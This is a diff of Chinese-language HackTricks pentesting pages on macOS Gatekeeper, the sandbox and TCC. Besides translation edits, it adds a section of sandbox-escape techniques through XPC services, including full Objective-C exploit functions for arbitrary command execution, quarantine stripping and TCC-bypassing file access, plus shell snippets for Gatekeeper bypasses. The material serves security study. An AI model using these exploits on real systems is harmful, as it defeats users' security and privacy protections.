- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:不允许通过 BundleID 和 TeamID 加载的插件和扩展的列表,或指示最低版本。
@ -316,11 +312,11 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
### 不是 Gatekeeper
> [!CAUTION]
> 请注意Gatekeeper **并不是每次** 执行应用程序时都会执行,只有 _**AppleMobileFileIntegrity**_ (AMFI) 会在执行已经由 Gatekeeper 执行和验证的应用程序时 **验证可执行代码签名**
> 请注意Gatekeeper **并不是每次** 执行应用程序时都会执行,只有 _**AppleMobileFileIntegrity**_ (AMFI) 会在执行已经由 Gatekeeper 执行和验证的应用程序时 **验证可执行代码签名**
因此,之前可以执行一个应用程序以便用 Gatekeeper 缓存它,然后 **修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将 **执行** 带有 **恶意** 附加内容的版本。
因此,之前可以执行一个应用程序以缓存 Gatekeeper,然后 **修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将 **执行** 带有 **恶意** 附加内容的版本。
然而,现在这已不再可能,因为 macOS **防止修改** 应用程序包内的文件。因此,如果您尝试 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 攻击,您会发现不再可能利用它,因为在执行应用程序以用 Gatekeeper 缓存它后,您将无法修改该 bundle。如果您例如将 Contents 目录的名称更改为 NotCon如漏洞中所示然后执行应用程序的主二进制文件以用 Gatekeeper 缓存它,将会触发错误并且不会执行。
然而,现在这已不再可能,因为 macOS **防止修改** 应用程序捆绑包中的文件。因此,如果您尝试 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 攻击,您会发现不再可能利用它,因为在执行应用程序以缓存 Gatekeeper 后,您将无法修改捆绑包。如果您例如将 Contents 目录的名称更改为 NotCon如漏洞中所示然后执行应用程序的主二进制文件以缓存 Gatekeeper,将会触发错误并且不会执行。
## Gatekeeper 绕过
@ -336,7 +332,7 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
当使用 **Automator** 创建应用程序时,关于其执行所需的信息位于 `application.app/Contents/document.wflow` 中,而不在可执行文件中。可执行文件只是一个名为 **Automator Application Stub** 的通用 Automator 二进制文件。
因此,您可以使 `application.app/Contents/MacOS/Automator\ Application\ Stub` **通过符号链接指向系统内的另一个 Automator Application Stub**,它将执行 `document.wflow` 中的内容(您的脚本) **而不会触发 Gatekeeper**,因为实际的可执行文件没有 quarantine xattr。
因此,您可以使 `application.app/Contents/MacOS/Automator\ Application\ Stub` **通过符号链接指向系统内的另一个 Automator Application Stub**,它将执行 `document.wflow` 中的内容(您的脚本) **而不会触发 Gatekeeper**,因为实际的可执行文件没有隔离 xattr。
示例预期位置:`/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -344,7 +340,7 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
在此绕过中,创建了一个 zip 文件,应用程序从 `application.app/Contents` 开始压缩,而不是从 `application.app`。因此,**quarantine attr** 被应用于所有 **来自 `application.app/Contents` 的文件**,但 **不适用于 `application.app`**,这是 Gatekeeper 检查的内容,因此 Gatekeeper 被绕过,因为当触发 `application.app` 时 **没有 quarantine 属性。**
在此绕过中,创建了一个 zip 文件,应用程序从 `application.app/Contents` 开始压缩,而不是从 `application.app`。因此,**隔离属性** 应用于所有 **来自 `application.app/Contents` 的文件**,但 **不适用于 `application.app`**,这是 Gatekeeper 检查的内容,因此 Gatekeeper 被绕过,因为当触发 `application.app` 时 **没有隔离属性。**
```bash
zip -r test.app/Contents test.zip
```
@ -367,9 +363,9 @@ chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
此外,**AppleDouble** 文件格式复制一个文件及其 ACE。
此外,**AppleDouble** 文件格式复制一个文件及其 ACE。
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -401,7 +397,7 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
```
能够创建一个不会设置隔离属性的文件,**可以绕过 Gatekeeper。** 这个技巧是**使用 AppleDouble 命名约定创建一个 DMG 文件应用程序**(以 `._` 开头),并创建一个**作为此隐藏文件的符号链接的可见文件**,而没有隔离属性。\
能够创建一个不会设置隔离属性的文件,使得**可以绕过 Gatekeeper。** 这个技巧是**使用 AppleDouble 命名约定创建一个 DMG 文件应用程序**(以 `._` 开头),并创建一个**作为此隐藏文件的符号链接的可见文件**,而没有隔离属性。\
当**dmg 文件被执行**时,由于它没有隔离属性,它将**绕过 Gatekeeper。**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -431,8 +427,5 @@ aa archive -d s/ -o app.aar
在 ".app" 包中,如果没有添加 quarantine xattr当执行时 **Gatekeeper 不会被触发**
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## 基本信息
MacOS Sandbox最初称为 Seatbelt**限制应用程序**在沙箱内运行时只能执行**沙箱配置文件中指定的允许操作**。这有助于确保**应用程序仅访问预期的资源**。
MacOS Sandbox最初称为 Seatbelt**限制在沙箱内运行的应用程序**只能执行**沙箱配置文件中指定的允许操作**。这有助于确保**应用程序仅访问预期的资源**。
任何具有**权限** **`com.apple.security.app-sandbox`**的应用程序将会在沙箱内执行。**Apple 二进制文件**通常在沙箱内执行,所有来自**App Store**的应用程序都有该权限。因此,多个应用程序将在沙箱内执行。
@ -54,9 +54,9 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
> [!CAUTION]
> 请注意,即使符号链接存在以“逃离”沙箱并访问其他文件夹,应用程序仍然需要**拥有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
> 请注意,即使符号链接存在以“逃离”沙盒并访问其他文件夹,应用程序仍然需要**具有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
**`SandboxProfileData`**是编译后的沙配置文件CFData已转义为B64。
**`SandboxProfileData`**是编译后的沙配置文件CFData已转义为B64。
```bash
# Get container config
## You need FDA to access the file, not even just root can read it
@ -133,7 +133,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
> [!TIP]
> 查看这个 [**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以检查更多可能被允许或拒绝的操作。**
>
> 请注意在配置文件的编译版本中操作的名称被其在一个数组中的条目所替代该数组为dylib和kext所知使得编译版本更短且更难阅读。
> 请注意在配置文件的编译版本中操作的名称被其在一个数组中的条目所替代该数组为dylib和kext所知使得编译版本更短且更难阅读。
重要的 **系统服务** 也在其自定义 **沙箱** 内运行,例如 `mdnsresponder` 服务。您可以在以下位置查看这些自定义 **沙箱配置文件**
@ -143,7 +143,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
**App Store** 应用使用 **配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中检查诸如 **`com.apple.security.network.server`** 的权限如何允许进程使用网络。
SIP 是一个名为 platform_profile 的沙箱配置文件,位于 /System/Library/Sandbox/rootless.conf
然后,一些 **Apple 守护进程服务** 使用位于 `/System/Library/Sandbox/Profiles/*.sb``/usr/share/sandbox/*.sb` 的不同配置文件。这些沙箱在调用 API `sandbox_init_XXX` 的主函数中应用。
**SIP** 是一个名为 platform_profile 的沙箱配置文件,位于 `/System/Library/Sandbox/rootless.conf`
### 沙箱配置文件示例
@ -203,13 +205,13 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
绕过示例:
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (他们能够写入以 `~$` 开头的沙箱外文件)。
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (他们能够写入以 `~$` 开头的沙箱外文件)。
### 沙箱跟踪
#### 通过配置文件
可以跟踪沙箱每次检查操作时执行的所有检查。为此,只需创建以下配置文件:
可以跟踪每次检查操作时沙箱执行的所有检查。为此,只需创建以下配置文件:
```scheme:trace.sb
(version 1)
(trace /tmp/trace.out)
@ -225,7 +227,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
#### 通过 API
`libsystem_sandbox.dylib` 导出的函数 `sandbox_set_trace_path` 允许指定一个跟踪文件名,沙箱检查将写入该文件。\
还可以通过调用 `sandbox_vtrace_enable()` 做类似的事情,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
还可以通过调用 `sandbox_vtrace_enable()` 来执行类似的操作,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
### 沙箱检查
@ -251,7 +253,7 @@ MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
这将**在此权限后评估字符串**作为沙箱配置文件。
这将**在此权限后评估字符串**作为沙箱配置文件。
### 编译和反编译沙箱配置文件
@ -292,9 +294,9 @@ macos-sandbox-debug-and-bypass/
### **检查 PID 权限**
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s)**`sandbox_check`** 函数(它是一个 `__mac_syscall`)可以检查**某个 PID、审计令牌或唯一 ID 是否允许某个操作**。
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s)**`sandbox_check`** 函数(它是一个 `__mac_syscall`)可以检查**在特定 PID、审计令牌或唯一 ID 下某个操作是否被沙箱允许**。
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c)(在这里[编译](https://newosxbook.com/articles/hitsb.html))可以检查某个 PID 是否可以执行某些操作:
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c)(在[这里编译](https://newosxbook.com/articles/hitsb.html))可以检查某个 PID 是否可以执行某些操作:
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access
@ -350,7 +352,7 @@ sbtool <pid> all
请注意,在 iOS 中,内核扩展包含 **硬编码的所有配置文件**,以避免被修改。以下是内核扩展中的一些有趣函数:
- **`hook_policy_init`**: 它挂钩 `mpo_policy_init`,并在 `mac_policy_register` 之后调用。它执行沙箱的大部分初始化。它还初始化 SIP。
- **`hook_policy_init`**: 它挂钩 `mpo_policy_init`,并在 `mac_policy_register` 之后调用。它执行沙箱的大部分初始化。它还初始化 SIP。
- **`hook_policy_initbsd`**: 它设置 sysctl 接口,注册 `security.mac.sandbox.sentinel``security.mac.sandbox.audio_active``security.mac.sandbox.debug_mode`(如果以 `PE_i_can_has_debugger` 启动)。
- **`hook_policy_syscall`**: 它由 `mac_syscall` 调用,第一个参数为 "Sandbox",第二个参数为指示操作的代码。使用 switch 来根据请求的代码查找要运行的代码。
@ -366,11 +368,11 @@ sbtool <pid> all
- `mpo_vnode_check_exec`: 当进程加载相关二进制文件时调用,然后执行配置文件检查,并检查禁止 SUID/SGID 执行。
- `mpo_cred_label_update_execve`: 当分配标签时调用。这是最长的一个,因为它在二进制文件完全加载但尚未执行时调用。它将执行诸如创建沙箱对象、将沙箱结构附加到 kauth 凭据、移除对 mach 端口的访问等操作。
请注意 **`_cred_sb_evalutate`** 是 **`sb_evaluate_internal`** 的封装,该函数获取传入的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
请注意**`_cred_sb_evalutate`** 是 **`sb_evaluate_internal`** 的封装,该函数获取传入的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
## Sandboxd
沙箱还有一个用户守护进程,暴露了 XPC Mach 服务 `com.apple.sandboxd` 并绑定特殊端口 14 (`HOST_SEATBELT_PORT`),内核扩展使用该端口与其通信。它通过 MIG 暴露了一些函数。
沙箱还有一个用户守护进程,暴露了 XPC Mach 服务 `com.apple.sandboxd`并绑定特殊端口 14 (`HOST_SEATBELT_PORT`),内核扩展使用该端口与其通信。它通过 MIG 暴露了一些函数。
## References

View File

@ -10,38 +10,38 @@
编译器将链接 `/usr/lib/libSystem.B.dylib` 到二进制文件。
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送**`securityd`**。Securityd 检查该进程是否应该在沙箱内被隔离,如果是,它将被隔离。\
最后,沙箱将通过调用 **`__sandbox_ms`** 激活,该调用将调用 **`__mac_syscall`**。
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送**`securityd`**。Securityd 检查该进程是否应该在沙箱内进行隔离,如果是,它将被隔离。\
最后,沙箱将通过调用 **`__sandbox_ms`** 激活,该调用将调用 **`__mac_syscall`**。
## 可能的绕过
## Possible Bypasses
### 绕过隔离属性
### Bypassing quarantine attribute
**沙箱进程创建的文件** 会附加 **隔离属性** 以防止沙箱逃逸。然而,如果你能够 **在沙箱应用程序内创建一个没有隔离属性的 `.app` 文件夹**,你可以使应用程序包的二进制文件指向 **`/bin/bash`** 并在 **plist** 中添加一些环境变量,以利用 **`open`** 来 **启动新的未沙箱应用程序**
**沙箱进程创建的文件** 会附加 **隔离属性** 以防止沙箱逃逸。然而,如果你能够 **在沙箱应用程序内创建一个没有隔离属性的 `.app` 文件夹**,你可以使应用程序包的二进制文件指向 **`/bin/bash`** 并在 **plist** 中添加一些环境变量,以利用 **`open`** 来 **启动新的未沙箱应用程序**
这就是在 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** 中所做的。**
> [!CAUTION]
> 因此,目前,如果你仅能创建一个以 **`.app`** 结尾且没有隔离属性的文件夹,你可以逃离沙箱,因为 macOS 只 **检查** **`.app` 文件夹** 和 **主可执行文件** 中的 **隔离** 属性(我们将主可执行文件指向 **`/bin/bash`**)。
>
> 请注意,如果一个 .app 包已经被授权运行(它有一个带有授权运行标志的隔离 xttr你也可以利用它……只是现在你不能在 **`.app`** 包内写入,除非你拥有一些特权 TCC 权限(在高沙箱内你将没有这些权限)。
> 请注意,如果一个 .app 包已经被授权运行(它有带有授权运行标志的隔离 xttr你也可以利用它……只是现在你不能在 **`.app`** 包内写入,除非你拥有一些特权 TCC 权限(在高沙箱内你将没有这些权限)。
### 利用 Open 功能
### Abusing Open functionality
在 [**Word 沙箱绕过的最后示例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) 中可以看到如何**`open`** CLI 功能来绕过沙箱。
在 [**Word 沙箱绕过的最后示例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) 中可以看到如何**`open`** CLI 功能来绕过沙箱。
{{#ref}}
macos-office-sandbox-bypasses.md
{{#endref}}
### 启动代理/守护进程
### Launch Agents/Daemons
即使一个应用程序 **旨在被沙箱化** (`com.apple.security.app-sandbox`),如果它是 **从 LaunchAgent 执行**(例如 `~/Library/LaunchAgents`),也有可能绕过沙箱。\
即使一个应用程序 **旨在被沙箱化** (`com.apple.security.app-sandbox`),如果它是 **从 LaunchAgent 执行**(例如 `~/Library/LaunchAgents`),也有可能绕过沙箱。\
正如在 [**这篇文章**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) 中所解释的,如果你想要在一个沙箱应用程序中获得持久性,你可以使其作为 LaunchAgent 自动执行,并可能通过 DyLib 环境变量注入恶意代码。
### 利用自动启动位置
### Abusing Auto Start Locations
如果一个沙箱进程可以 **写入** 一个 **稍后将运行二进制文件的未沙箱应用程序** 的位置,它将能够 **仅通过将** 二进制文件放在那里来 **逃逸**。这类位置的一个好例子是 `~/Library/LaunchAgents``/System/Library/LaunchDaemons`
如果一个沙箱进程可以 **写入** 一个 **稍后将运行二进制文件的未沙箱应用程序** 的位置,它将能够 **通过将二进制文件放置在那里** 来逃离沙箱。这种位置的一个好例子是 `~/Library/LaunchAgents``/System/Library/LaunchDaemons`
为此,你可能需要 **2 步**:使一个具有 **更宽松沙箱** (`file-read*`, `file-write*`) 的进程执行你的代码,该代码实际上将在一个 **未沙箱的地方执行**
@ -51,7 +51,7 @@ macos-office-sandbox-bypasses.md
../../../../macos-auto-start-locations.md
{{#endref}}
### 利用其他进程
### Abusing other processes
如果从沙箱进程中你能够 **妥协其他在较少限制沙箱中运行的进程**(或没有沙箱),你将能够逃离它们的沙箱:
@ -59,23 +59,184 @@ macos-office-sandbox-bypasses.md
../../../macos-proces-abuse/
{{#endref}}
### Available System and User Mach services
沙箱还允许通过在配置文件 `application.sb` 中定义的 XPC 与某些 **Mach 服务** 进行通信。如果你能够 **滥用** 其中一个服务,你可能能够 **逃离沙箱**
正如在 [这篇文章](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) 中所指出的,关于 Mach 服务的信息存储在 `/System/Library/xpc/launchd.plist` 中。可以通过在该文件中搜索 `<string>System</string>``<string>User</string>` 来找到所有系统和用户 Mach 服务。
此外,可以通过调用 `bootstrap_look_up` 来检查某个 Mach 服务是否可用于沙箱应用程序:
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
```
### 可用的 PID Mach 服务
这些 Mach 服务最初被滥用以 [在这篇文章中逃离沙箱](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。那时,**应用程序及其框架所需的所有 XPC 服务**在应用程序的 PID 域中都是可见的(这些是 `ServiceType``Application` 的 Mach 服务)。
为了 **联系 PID 域 XPC 服务**,只需在应用程序中注册它,使用如下代码:
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
此外,可以通过在 `System/Library/xpc/launchd.plist` 中搜索 `<string>Application</string>` 来找到所有的 **Application** Mach 服务。
找到有效的 xpc 服务的另一种方法是检查以下内容:
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
几个滥用此技术的示例可以在[**原始报告**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)中找到,以下是一些总结的示例。
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
此服务通过始终返回`YES`来允许每个XPC连接方法`runTask:arguments:withReply:`执行任意命令和任意参数。
该漏洞的利用“简单到”:
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
这个 XPC 服务允许每个客户端始终返回 YES方法 `createZipAtPath:hourThreshold:withReply:` 基本上允许指示要压缩的文件夹路径,并将其压缩为 ZIP 文件。
因此,可以生成一个虚假的应用程序文件夹结构,压缩它,然后解压并执行,以逃离沙盒,因为新文件将没有隔离属性。
该漏洞是:
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
此 XPC 服务允许通过方法 `extendAccessToURL:completion:` 为 XPC 客户端提供对任意 URL 的读写访问,该方法接受任何连接。由于 XPC 服务具有 FDA因此可以滥用这些权限以完全绕过 TCC。
漏洞是:
```objectivec
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
```
### 静态编译与动态链接
[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) 发现了两种绕过沙箱的方法。因为沙箱是在用户空间中应用的,当 **libSystem** 库被加载时。如果一个二进制文件能够避免加载它,它将永远不会被沙箱化:
[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) 发现了绕过沙箱的两种方法。因为沙箱是在用户空间中应用的,当 **libSystem** 库被加载时。如果一个二进制文件能够避免加载它,它将永远不会被沙箱化:
- 如果二进制文件是 **完全静态编译** 的,它可以避免加载该库。
- 如果 **二进制文件不需要加载任何库**(因为链接器也在 libSystem 中),它将不需要加载 libSystem。
- 如果 **二进制文件不需要加载任何库**(因为链接器也在 libSystem 中),它不需要加载 libSystem。
### Shellcodes
请注意 **即使是 shellcodes** 在 ARM64 中也需要链接到 `libSystem.dylib`
请注意**即使是 shellcodes** 在 ARM64 中也需要链接到 `libSystem.dylib`
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Entitlements
### 不继承的限制
请注意,即使某些 **操作** 可能在沙箱中被 **允许**,如果应用程序具有特定的 **权限**,例如:
正如**[这篇文章的附加内容](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**中所解释的,沙箱限制如:
```
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
```
可以通过一个新进程执行来绕过,例如:
```bash
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
然而,当然,这个新进程不会从父进程继承权限或特权。
### 权限
请注意,即使某些 **操作** 可能在沙箱中 **被允许**,如果应用程序具有特定的 **权限**,例如:
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -163,7 +324,7 @@ Sandbox Bypassed!
```
### 使用 lldb 调试和绕过沙箱
让我们编译一个应该被沙箱保护的应用程序:
让我们编译一个应该被沙箱的应用程序:
{{#tabs}}
{{#tab name="sand.c"}}

View File

@ -6,7 +6,7 @@
### 写入绕过
这不是一个绕过,这只是 TCC 的工作方式:**它不保护写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入**
这不是一个绕过,这只是 TCC 的工作方式:**它不防止写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入**
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -16,18 +16,18 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
**扩展属性 `com.apple.macl`** 被添加到新 **文件** 以便 **创建者应用** 访问读取它的权限
**扩展属性 `com.apple.macl`** 被添加到新 **文件** 中,以便 **创建者应用** 访问读取它。
### TCC ClickJacking
可以 **在 TCC 提示上放置一个窗口**,使用户 **接受** 而不注意。可以在 [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** 中找到一个 PoC。**
可以 **在 TCC 提示上放置一个窗口**,使用户 **接受** 而不注意。可以在 [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** 中找到一个 PoC。**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### TCC 请求任意名称
攻击者可以 **创建任何名称的应用**(例如 Finder、Google Chrome...)在 **`Info.plist`** 中,并使其请求访问某些 TCC 保护的位置。用户会认为是合法应用在请求此访问。\
此外,可以 **从 Dock 中移除合法应用并将假应用放上去**,因此当用户点击假应用(可以使用相同的图标)时,它可能会调用合法应用,请求 TCC 权限并执行恶意软件,使用户相信合法应用请求了访问。
此外,可以 **从 Dock 中移除合法应用并将假应用放上去**,因此当用户点击假应用(可以使用相同的图标)时,它可调用合法应用,请求 TCC 权限并执行恶意软件,使用户相信合法应用请求了访问。
